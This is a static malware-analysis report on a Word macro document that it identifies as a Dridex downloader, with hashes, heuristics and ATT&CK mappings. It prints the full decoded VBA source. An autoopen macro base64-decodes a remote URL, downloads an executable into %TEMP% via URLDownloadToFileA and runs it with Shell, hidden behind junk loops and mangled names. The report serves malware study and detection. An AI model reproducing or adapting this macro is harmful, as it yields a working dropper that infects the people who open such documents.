Dridex — Office (OLE) malware analysis

Static analysis result for SHA-256 f1b3df8dde1b7336…

MALICIOUS

Office (OLE)

51.5 KB Created: 2015-01-19 09:37:00 Authoring application: Microsoft Office Word First seen: 2015-02-17
MD5: cf79d1931d39863995aaf9e874575ee6 SHA-1: cedb5fbcdb02ca5588f23ef987422567cd7694d4 SHA-256: f1b3df8dde1b7336810c70898546b76afe5b2ba4af247ce33f6296ca06db45e0
338 Risk Score

Malware Insights

Dridex · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with an autoopen subroutine that calls a function to download a file from 'http://www.otmooreleectrical.co.uk/js/bin.exe' and save it as '%TEMP%\xGhDnyDS.exe'. The use of URLDownloadToFile and the obfuscated script names are indicative of the Dridex banking trojan family. The ClamAV detection also explicitly names this family.

Heuristics 10

  • ClamAV: Doc.Trojan.Dridex-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dridex-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
     ViapiNU ITXQDR("aHR0cDovL3d3dy5vdG1vb3JlbGVjdHJpY2FsLmNvLnVrL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13722 bytes
SHA-256: c11d3084ff22fa1d7a2a110e96f92f737abee4f96bd2f3f8ce690e1b63971ad5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
73 of 130 identifiers look randomly generated (e.g. 'aHR0cDovL3d3dy5vdG1vb3JlbGVjdHJpY2FsLmNv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function gHBBjodhnsf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
    ByVal PqMao As String, _
    ByVal ZdCqoiA As String, _
    ByVal qOUQcfuPQbkf As Long, _
    ByVal rLeZNuCDBGrl As LongPtr) As LongPtr
#Else
    Private Declare Function gHBBjodhnsf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BsjxHq As Long, _
    ByVal PqMao As String, _
    ByVal ZdCqoiA As String, _
    ByVal qOUQcfuPQbkf As Long, _
    ByVal rLeZNuCDBGrl As Long) As Long
#End If
Private aDecTab(255) As Integer
Sub jiyCFwVleNvx()
zNYsGtgG
Dim DLBhcd As Integer
DLBhcd = 1798
Do While DLBhcd < 1798 + 10
DLBhcd = DLBhcd + 1: DoEvents
Loop
End Sub
Sub ElDpt()
    jiyCFwVleNvx
Dim jIjuo As Integer
jIjuo = 2400
Do While jIjuo < 2400 + 10
jIjuo = jIjuo + 1: DoEvents
Loop
End Sub
Sub autoopen()
    jiyCFwVleNvx
Dim PcPNHaQt As Integer
PcPNHaQt = 2304
Do While PcPNHaQt < 2304 + 10
PcPNHaQt = PcPNHaQt + 1: DoEvents
Loop
End Sub
Sub zNYsGtgG()
  
Dim ubtfjIjuoGD As Integer
ubtfjIjuoGD = 787
Do While ubtfjIjuoGD < 787 + 10
ubtfjIjuoGD = ubtfjIjuoGD + 1: DoEvents
Loop
 ViapiNU ITXQDR("aHR0cDovL3d3dy5vdG1vb3JlbGVjdHJpY2FsLmNvLnVrL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
Dim Qtdot As Integer
Qtdot = 1735
Do While Qtdot < 1735 + 10
Qtdot = Qtdot + 1: DoEvents
Loop
End Sub
Function ViapiNU(BueLOj As String, eaJQwwYgsUo As String) As Boolean
    JjJUOhQ = gHBBjodhnsf(0&, BueLOj, eaJQwwYgsUo, 0&, 0&)
Dim oGDawUMI As Integer
oGDawUMI = 942
Do While oGDawUMI < 942 + 10
oGDawUMI = oGDawUMI + 1: DoEvents
Loop
   Dim inkvMbjktRLp
Dim cdbgQJ As Integer
cdbgQJ = 310
Do While cdbgQJ < 310 + 10
cdbgQJ = cdbgQJ + 1: DoEvents
Loop
    inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
Dim mNViKe As Integer
mNViKe = 1417
Do While mNViKe < 1417 + 10
mNViKe = mNViKe + 1: DoEvents
Loop
End Function


Public Function ITXQDR(sEncoded As String) As String
Dim sDecoded As String
Dim gEKGRUkFGQ As Integer
gEKGRUkFGQ = 1008
Do While gEKGRUkFGQ < 1008 + 10
gEKGRUkFGQ = gEKGRUkFGQ + 1: DoEvents
Loop
Dim d(3) As Byte
Dim ULNFfHmkR As Integer
ULNFfHmkR = 311
Do While ULNFfHmkR < 311 + 10
ULNFfHmkR = ULNFfHmkR + 1: DoEvents
Loop
Dim C As Byte
Dim bSDlnIlpDNwjVwSR As Integer
bSDlnIlpDNwjVwSR = 879
Do While bSDlnIlpDNwjVwSR < 879 + 10
bSDlnIlpDNwjVwSR = bSDlnIlpDNwjVwSR + 1: DoEvents
Loop
Dim di As Integer
Dim tdotqBSTpqzY As Integer
tdotqBSTpqzY = 1894
Do While tdotqBSTpqzY < 1894 + 10
tdotqBSTpqzY = tdotqBSTpqzY + 1: DoEvents
Loop
Dim i As Long
Dim qlOQxRQfUAIJMkrydppEIL As Integer
qlOQxRQfUAIJMkrydppEIL = 1356
Do While qlOQxRQfUAIJMkrydppEIL < 1356 + 10
qlOQxRQfUAIJMkrydppEIL = qlOQxRQfUAIJMkrydppEIL + 1: DoEvents
Loop
Dim nLen As Long
Dim DLBhcdgQJRvHYceVvYCnjQr As Integer
DLBhcdgQJRvHYceVvYCnjQr = 753
Do While DLBhcdgQJRvHYceVvYCnjQr < 753 + 10
DLBhcdgQJRvHYceVvYCnjQr = DLBhcdgQJRvHYceVvYCnjQr + 1: DoEvents
Loop
Dim iIndex As Long
Dim QLMKPA As Integer
QLMKPA = 689
Do While QLMKPA < 689 + 10
QLMKPA = QLMKPA + 1: DoEvents
Loop
nLen = Len(sEncoded)
Dim fUAIJHMkrydp As Integer
fUAIJHMkrydp = 2019
Do While fUAIJHMkrydp < 2019 + 10
fUAIJHMkrydp = fUAIJHMkrydp + 1: DoEvents
Loop
sDecoded = String((nLen \ 4) * 3, " ")
Dim NiwjVwSRutfjIj As Integer
NiwjVwSRutfjIj = 1068
Do While NiwjVwSRutfjIj < 1068 + 10
NiwjVwSRutfjIj = NiwjVwSRutfjIj + 1: DoEvents
Loop
iIndex = 0
Dim trwhbiL As Integer
trwhbiL = 1292
Do While trwhbiL < 1292 + 10
trwhbiL = trwhbiL + 1: DoEvents
Loop
di = 0
Dim JfULakSSFFhp As Integer
JfULakSSFFhp = 482
Do While JfULakSSFFhp < 482 + 10
JfULakSSFFhp = JfULakSSFFhp + 1: DoEvents
Loop
Call auo5an
Dim rvyqO As Integer
rvyqO = 672
Do While rvyqO < 672 + 10
rvyqO = rvyqO + 1: DoEvents
Loop
' Read in each char in trun
Dim SFFhpCexdBS As Integer
SFFhpCexdBS = 388
Do While SFFhpCexdBS < 388 + 10
SFFhpCexdBS = SFFhpCexdBS + 1: DoEvents
Loop
For i = 1 To Len(sEncoded)
Dim rLosGQm As Integer
rLosGQm = 449
Do While rLosGQm < 449 + 10
rLosGQm = rLosGQm + 1: DoEvents
Loop
C = CByte(Asc(Mid(sEncoded, i, 1)))
Dim CexdBSf As Integer
CexdBSf = 1746
Do While CexdBSf < 1746 + 10
CexdBSf = CexdBSf + 1: DoEvents
Loop
C = aDecTab(C)
Dim imLmxrJG As Integer
imLmxrJG = 2351
Do While imLmxrJG < 2351 + 10
imLmxrJG = imLmxrJG + 1: DoEvents
Loop
If C >= 0 Then
Dim fiZybqmavlcqAjj As Integer
fiZybqmavlcqAjj = 1779
Do While fiZybqmavlcqAjj < 1779 + 10
fiZybqmavlcqAjj = fiZybqmavlcqAjj + 1: DoEvents
Loop
d(di) = C
Dim QZlNhMk As Integer
QZlNhMk = 1082
Do While QZlNhMk < 1082 + 10
QZlNhMk = QZlNhMk + 1: DoEvents
Loop
di = di + 1
Dim cqAjjVjFShOgRVvk As Integer
cqAjjVjFShOgRVvk = 894
Do While cqAjjVjFShOgRVvk < 894 + 10
cqAjjVjFShOgRVvk = cqAjjVjFShOgRVvk + 1: DoEvents
Loop
If di = 4 Then
Dim KdMjSekgrIQ As Integer
KdMjSekgrIQ = 1319
Do While KdMjSekgrIQ < 1319 + 10
KdMjSekgrIQ = KdMjSekgrIQ + 1: DoEvents
Loop
Mid$(sDecoded, iIndex + 1, 3) = utjk(d)
Dim RjUZyn As Integer
RjUZyn = 2458
Do While RjUZyn < 2458 + 10
RjUZyn = RjUZyn + 1: DoEvents
Loop
iIndex = iIndex + 3
Dim IKfHM As Integer
IKfHM = 149
Do While IKfHM < 149 + 10
IKfHM = IKfHM + 1: DoEvents
Loop
If d(3) = 64 Then
Dim mZLnJV As Integer
mZLnJV = 2269
Do While mZLnJV < 2269 + 10
mZLnJV = mZLnJV + 1: DoEvents
Loop
sDecoded = Left(sDecoded, Len(sDecoded) - 1)
Dim TcpQkPo As Integer
TcpQkPo = 146
Do While TcpQkPo < 146 + 10
TcpQkPo = TcpQkPo + 1: DoEvents
Loop
iIndex = iIndex - 1
Dim VkRjUZynke As Integer
VkRjUZynke = 274
Do While VkRjUZynke < 274 + 10
VkRjUZynke = VkRjUZynke + 1: DoEvents
Loop
End If
Dim SssTcpQkPFgFQKdM As Integer
SssTcpQkPFgFQKdM = 653
Do While SssTcpQkPFgFQKdM < 653 + 10
SssTcpQkPFgFQKdM = SssTcpQkPFgFQKdM + 1: DoEvents
Loop
If d(2) = 64 Then
Dim uOrvJTp As Integer
uOrvJTp = 2013
Do While uOrvJTp < 2013 + 10
uOrvJTp = uOrvJTp + 1: DoEvents
Loop
sDecoded = Left(sDecoded, Len(sDecoded) - 1)
Dim qZZLLn As Integer
qZZLLn = 604
Do While qZZLLn < 604 + 10
qZZLLn = qZZLLn + 1: DoEvents
Loop
iIndex = iIndex - 1
Dim krVjiyB As Integer
krVjiyB = 2376
Do While krVjiyB < 2376 + 10
krVjiyB = krVjiyB + 1: DoEvents
Loop
End If
Dim ZZLLnwI As Integer
ZZLLnwI = 1079
Do While ZZLLnwI < 1079 + 10
ZZLLnwI = ZZLLnwI + 1: DoEvents
Loop
di = 0
Dim tfGdcDlCo As Integer
tfGdcDlCo = 2471
Do While tfGdcDlCo < 2471 + 10
tfGdcDlCo = tfGdcDlCo + 1: DoEvents
Loop
End If
Dim nxDzLcdyAhOrHouNVKq As Integer
nxDzLcdyAhOrHouNVKq = 1206
Do While nxDzLcdyAhOrHouNVKq < 1206 + 10
nxDzLcdyAhOrHouNVKq = nxDzLcdyAhOrHouNVKq + 1: DoEvents
Loop
End If
Dim eJSTRQu As Integer
eJSTRQu = 127
Do While eJSTRQu < 127 + 10
eJSTRQu = eJSTRQu + 1: DoEvents
Loop
Next i
Dim ogEiMw As Integer
ogEiMw = 1045
Do While ogEiMw < 1045 + 10
ogEiMw = ogEiMw + 1: DoEvents
Loop
 ITXQDR = sDecoded
Dim ekshMVQUax As Integer
ekshMVQUax = 1691
Do While ekshMVQUax < 1691 + 10
ekshMVQUax = ekshMVQUax + 1: DoEvents
Loop
End Function
Private Function utjk(d() As Byte) As String
Dim sOutput As String
Dim xQZOupp As Integer
xQZOupp = 553
Do While xQZOupp < 553 + 10
xQZOupp = xQZOupp + 1: DoEvents
Loop
Dim C As Long
Dim FrvVwHBQnJiaViyNjQg As Integer
FrvVwHBQnJiaViyNjQg = 1502
Do While FrvVwHBQnJiaViyNjQg < 1502 + 10
FrvVwHBQnJiaViyNjQg = FrvVwHBQnJiaViyNjQg + 1: DoEvents
Loop
sOutput = vbNullString
Dim pdaTmGqAGCO As Integer
pdaTmGqAGCO = 1060
Do While pdaTmGqAGCO < 1060 + 10
pdaTmGqAGCO = pdaTmGqAGCO + 1: DoEvents
Loop
C = nGkl0avyll(d(0)) Or (NZ5Ef7Abl(d(1)) And &H3)
Dim QnJiaViyNjQg As Integer
QnJiaViyNjQg = 1502
Do While QnJiaViyNjQg < 1502 + 10
QnJiaViyNjQg = QnJiaViyNjQg + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim Rxstr As Integer
Rxstr = 566
Do While Rxstr < 566 + 10
Rxstr = Rxstr + 1: DoEvents
Loop
C = JcX2DMsRAZ(d(1) And &HF) Or (W1UISPoYNMC(d(2)) And &HF)
Dim zZzKEQTq As Integer
zZzKEQTq = 631
Do While zZzKEQTq < 631 + 10
zZzKEQTq = zZzKEQTq + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim iZmwgfS As Integer
iZmwgfS = 59
Do While iZmwgfS < 59 + 10
iZmwgfS = iZmwgfS + 1: DoEvents
Loop
C = DM2OBrHOe(d(2) And &H3) Or d(3)
Dim poEIK As Integer
poEIK = 1422
Do While poEIK < 1422 + 10
poEIK = poEIK + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim eVuYC As Integer
eVuYC = 1989
Do While eVuYC < 1989 + 10
eVuYC = eVuYC + 1: DoEvents
Loop
 utjk = sOutput
Dim cEIQhBPCpP As Integer
cEIQhBPCpP = 2288
Do While cEIQhBPCpP < 2288 + 10
cEIQhBPCpP = cEIQhBPCpP + 1: DoEvents
Loop
End Function
Private Function auo5an()
Dim t As Integer
Dim GOEkfgeTbiyZZ As Integer
GOEkfgeTbiyZZ = 1721
Do While GOEkfgeTbiyZZ < 1721 + 10
GOEkfgeTbiyZZ = GOEkfgeTbiyZZ + 1: DoEvents
Loop
Dim C As Integer
Dim ealoDZaktoRh As Integer
ealoDZaktoRh = 1657
Do While ealoDZaktoRh < 1657 + 10
ealoDZaktoRh = ealoDZaktoRh + 1: DoEvents
Loop
For C = 0 To 255
Dim sSeYqawgrwt As Integer
sSeYqawgrwt = 580
Do While sSeYqawgrwt < 580 + 10
sSeYqawgrwt = sSeYqawgrwt + 1: DoEvents
Loop
aDecTab(C) = -1
Dim loDZa As Integer
loDZa = 771
Do While loDZa < 771 + 10
loDZa = loDZa + 1: DoEvents
Loop
Next
Dim eYqawgrwtEVk As Integer
eYqawgrwtEVk = 75
Do While eYqawgrwtEVk < 75 + 10
eYqawgrwtEVk = eYqawgrwtEVk + 1: DoEvents
Loop
t = 0
Dim pcCZmAizl As Integer
pcCZmAizl = 973
Do While pcCZmAizl < 973 + 10
pcCZmAizl = pcCZmAizl + 1: DoEvents
Loop
For C = Asc("A") To Asc("Z")
Dim NGqZbvYc As Integer
NGqZbvYc = 468
Do While NGqZbvYc < 468 + 10
NGqZbvYc = NGqZbvYc + 1: DoEvents
Loop
aDecTab(C) = t
Dim aJFuOEvJ As Integer
aJFuOEvJ = 2048
Do While aJFuOEvJ < 2048 + 10
aJFuOEvJ = aJFuOEvJ + 1: DoEvents
Loop
t = t + 1
Dim ggfkGNUzMLcf As Integer
ggfkGNUzMLcf = 1386
Do While ggfkGNUzMLcf < 1386 + 10
ggfkGNUzMLcf = ggfkGNUzMLcf + 1: DoEvents
Loop
Next
Dim bETAHaiY As Integer
bETAHaiY = 500
Do While bETAHaiY < 500 + 10
bETAHaiY = bETAHaiY + 1: DoEvents
Loop
For C = Asc("a") To Asc("z")
Dim qQrwEua As Integer
qQrwEua = 1017
Do While qQrwEua < 1017 + 10
qQrwEua = qQrwEua + 1: DoEvents
Loop
aDecTab(C) = t
Dim YpBqnhzwT As Integer
YpBqnhzwT = 2315
Do While YpBqnhzwT < 2315 + 10
YpBqnhzwT = YpBqnhzwT + 1: DoEvents
Loop
t = t + 1
Dim PdnIVJvQtr As Integer
PdnIVJvQtr = 890
Do While PdnIVJvQtr < 890 + 10
PdnIVJvQtr = PdnIVJvQtr + 1: DoEvents
Loop
Next
Dim KshBriwGpp As Integer
KshBriwGpp = 2472
Do While KshBriwGpp < 2472 + 10
KshBriwGpp = KshBriwGpp + 1: DoEvents
Loop
For C = Asc("0") To Asc("9")
Dim awvQEVHL As Integer
awvQEVHL = 2391
Do While awvQEVHL < 2391 + 10
awvQEVHL = awvQEVHL + 1: DoEvents
Loop
aDecTab(C) = t
Dim jHlPNvk As Integer
jHlPNvk = 1283
Do While jHlPNvk < 1283 + 10
jHlPNvk = jHlPNvk + 1: DoEvents
Loop
t = t + 1
Dim exrhMVVUaK As Integer
exrhMVVUaK = 272
Do While exrhMVVUaK < 272 + 10
exrhMVVUaK = exrhMVVUaK + 1: DoEvents
Loop
Next
Dim poseksI As Integer
poseksI = 2359
Do While poseksI < 2359 + 10
poseksI = poseksI + 1: DoEvents
Loop
C = Asc("+")
Dim bSsHzkRToQVj As Integer
bSsHzkRToQVj = 1994
Do While bSsHzkRToQVj < 1994 + 10
bSsHzkRToQVj = bSsHzkRToQVj + 1: DoEvents
Loop
aDecTab(C) = t
Dim mKoSQynH As Integer
mKoSQynH = 1138
Do While mKoSQynH < 1138 + 10
mKoSQynH = mKoSQynH + 1: DoEvents
Loop
t = t + 1
Dim hAvkPZaYdNG As Integer
hAvkPZaYdNG = 1202
Do While hAvkPZaYdNG < 1202 + 10
hAvkPZaYdNG = hAvkPZaYdNG + 1: DoEvents
Loop
C = Asc("/")
Dim hovLmlBr As Integer
hovLmlBr = 315
Do While hovLmlBr < 315 + 10
hovLmlBr = hovLmlBr + 1: DoEvents
Loop
aDecTab(C) = t
Dim PZaYdN As Integer
PZaYdN = 1836
Do While PZaYdN < 1836 + 10
PZaYdN = PZaYdN + 1: DoEvents
Loop
t = t + 1
Dim wuzkryOq As Integer
wuzkryOq = 1932
Do While wuzkryOq < 1932 + 10
wuzkryOq = wuzkryOq + 1: DoEvents
Loop
C = Asc("=")
Dim EyoTdd As Integer
EyoTdd = 1710
Do While EyoTdd < 1710 + 10
EyoTdd = EyoTdd + 1: DoEvents
Loop
aDecTab(C) = t  ' should be 64
Dim xEQfUAvwuzk As Integer
xEQfUAvwuzk = 348
Do While xEQfUAvwuzk < 348 + 10
xEQfUAvwuzk = xEQfUAvwuzk + 1: DoEvents
Loop
End Function
Private Function nGkl0avyll(ByVal bytValue As Byte) As Byte
 nGkl0avyll = (bytValue * &H4) And &HFF
Dim iayNG As Integer
iayNG = 900
Do While iayNG < 900 + 10
iayNG = iayNG + 1: DoEvents
Loop
End Function
Private Function JcX2DMsRAZ(ByVal bytValue As Byte) As Byte
 JcX2DMsRAZ = (bytValue * &H10) And &HFF
Dim StsIyBtRu As Integer
StsIyBtRu = 46
Do While StsIyBtRu < 46 + 10
StsIyBtRu = StsIyBtRu + 1: DoEvents
Loop
End Function
Private Function DM2OBrHOe(ByVal bytValue As Byte) As Byte
 DM2OBrHOe = (bytValue * &H40) And &HFF
Dim fkUNUz As Integer
fkUNUz = 14
Do While fkUNUz < 14 + 10
fkUNUz = fkUNUz + 1: DoEvents
Loop
End Function
Private Function W1UISPoYNMC(ByVal bytValue As Byte) As Byte
 W1UISPoYNMC = bytValue \ &H4
Dim SUAHbjY As Integer
SUAHbjY = 521
Do While SUAHbjY < 521 + 10
SUAHbjY = SUAHbjY + 1: DoEvents
Loop
End Function
Private Function NZ5Ef7Abl(ByVal bytValue As Byte) As Byte
 NZ5Ef7Abl = bytValue \ &H10
Dim avxGQLpEQr As Integer
avxGQLpEQr = 407
Do While avxGQLpEQr < 407 + 10
avxGQLpEQr = avxGQLpEQr + 1: DoEvents
Loop
End Function
Private Function hQpn(ByVal bytValue As Byte) As Byte
 hQpn = bytValue \ &H40
Dim BvNwTDN As Integer
BvNwTDN = 501
Do While BvNwTDN < 501 + 10
BvNwTDN = BvNwTDN + 1: DoEvents
Loop
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.